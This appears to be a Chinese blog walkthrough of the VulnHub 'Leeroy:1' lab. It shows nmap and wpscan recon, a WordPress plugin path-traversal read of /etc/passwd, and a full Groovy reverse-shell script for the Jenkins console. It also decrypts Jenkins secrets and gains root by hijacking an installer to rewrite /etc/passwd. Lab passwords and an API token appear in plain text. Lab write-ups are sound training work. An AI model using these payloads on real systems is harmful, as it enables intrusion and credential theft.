vulnhub--Leeroy:1

描述

深入了解不仅仅是典型的漏洞利用

 

目录

一、信息收集

1.nmap端口扫描

二、漏洞探测&利用

1.初步探测。

2.wpscan漏洞扫描。

三、getshell

1.查看历史命令

2.反弹shell

四、提权

1.进入home目录下

2.查看 /etc/passwd

3.密码是hash值需要破解

4.通过su命令切换到leeroy用户,

5.开启HTTPS服务

五、总结


一、信息收集

1.nmap端口扫描

1)nmap -sP 192.168.1.*

找到靶机ip。

2)nmap -sS -v -p- 192.168.1.178

 

二、漏洞探测&利用

1.初步探测。

1)http://192.168.1.178,查看源码,无有用信息,下载图片,图片正常没有隐藏信息。

 

2)192.168.1.178:8080,

Jenkins是一个开源软件项目,是基于java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成

功能包括:

  • 持续的软件版本发布/测试项目。
  • 监控外部调用执行的工作。

 

3)192.168.1.178:13380 ,一开始无法访问,vim etc/hosts 添加192.167.178   leeroy.htb,访问成功。

 

这是一个Wordpress站点,MySQL X是MySQL 5.7发布时自带的一个插件。

 

 

2.wpscan漏洞扫描。

1)该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。

同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

2)使用wpscan需要申请API: https://wpscan.com/profile

3)枚举存在的插件

wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token oDsGKnxs3GxqrAYOCb0amvKnQYmKzLJa8jR6kXAu6ok

4)查找到exp

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

未经身份验证的任意文件读取。

 

三、getshell

1.查看历史命令

发现疑是密码。

 

使用获取到的账号密码进行登录

用户:admin

密码:z1n$AiWY40HWeQ@KJ53P

 

 

2.反弹shell

首先进入管理界面,然后进入编辑脚本界面,进入编辑页面知道这是一个执行groovy的页面,可以使用该语言反弹shell

String host="localhost";

int port=4444;

String cmd="bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

 

使用nc监听成功反弹shell,获取交互式shell

nc -lvp 4444

python3 -c "import pty;pty.spawn('/bin/bash')"

 

四、提权

1.进入home目录下

,查看能都获取有用信息

查看user.txt发现没有权限

 

2.查看 /etc/passwd

,发现jenkins

进入该目录查看credentials.xml获取新的用户与密码

 

3.密码是hash值需要破解

AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx

通过google查找jenkins的到解密需要的语句

 

println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )

用户:leeroy

密码:ew3@PHQiX2RtP1ra!GZs

 

4.通过su命令切换到leeroy用户,

查看之前无法查看的user.txt,给了一串加密字符但是我没有破解出来,

使用sudo -l 查看是否存在可利用的信息,

进入目录查看jenkins_installer文件。

 

这是一个jenkins的安装过程,可以通过这个方式写入自己的用户与密码并将该用户设置为root权限

查看hosts文件并将kali的地址写入到hosts文件中,因为在执行命令更新的内容需要从kali中下载更新

 

通过ls命令发现需要jenkins权限进行查看

 

5.开启HTTPS服务

1)将kali的地址写入到文件中,并添加添加Jenkins存储库

echo "192.168.1.179       pkg.jenkins.io" >> /var/lib/jenkins/hosts

 

2)为了使Jenkins服务器正常运行,需要配置Apache2(HTTPS服务开启失败!秃头)

 

cd /etc/apache2/sites-available/
vi default-ssl.conf

 

根据输入的内容创建所需要的目录/opt/vulnub/debain-stable/binary/

使用touch命令编辑passwd文件

 

将lerroy中的passwd内容复制到我们要编辑的文件中,并在文件中添加自己创建的用户,待更新成功后执行自己写入的命令就可以获取root权限了

3)使用命令生成密码

mkpasswd -m sha-512   使用mkpasswd 512命令生成密码

这里我设置的密码是1qaz@WSX

vim passwd

 

将写好的passwd文件存入到jenkins_2.222.3_all.deb,并将改文件移动到 /opt/vulnub/debain-stable/binary/目录下

 

4)操作成功后开启apache2服务

systemctl start apache2

 

5)进入leeroy用户执行命令进行提权

sudo /usr/share/jenkins/jenkins_installer /etc/passwd

 

五、总结

  • wpscan 漏扫工具  Wordpress站点
wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token oDsGKnxs3GxqrAYOCb0amvKnQYmKzLJa8jR6kXAu6ok
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
println(hudson.util.Secret.fromString("{XXXX=}").getPlainText())

println(hudson.util.Secret.decrypt("{xxxx=}"))
String host="localhost";
int port=4444;
String cmd="bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  • HTTPS服务开启(开启失败!)

         

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值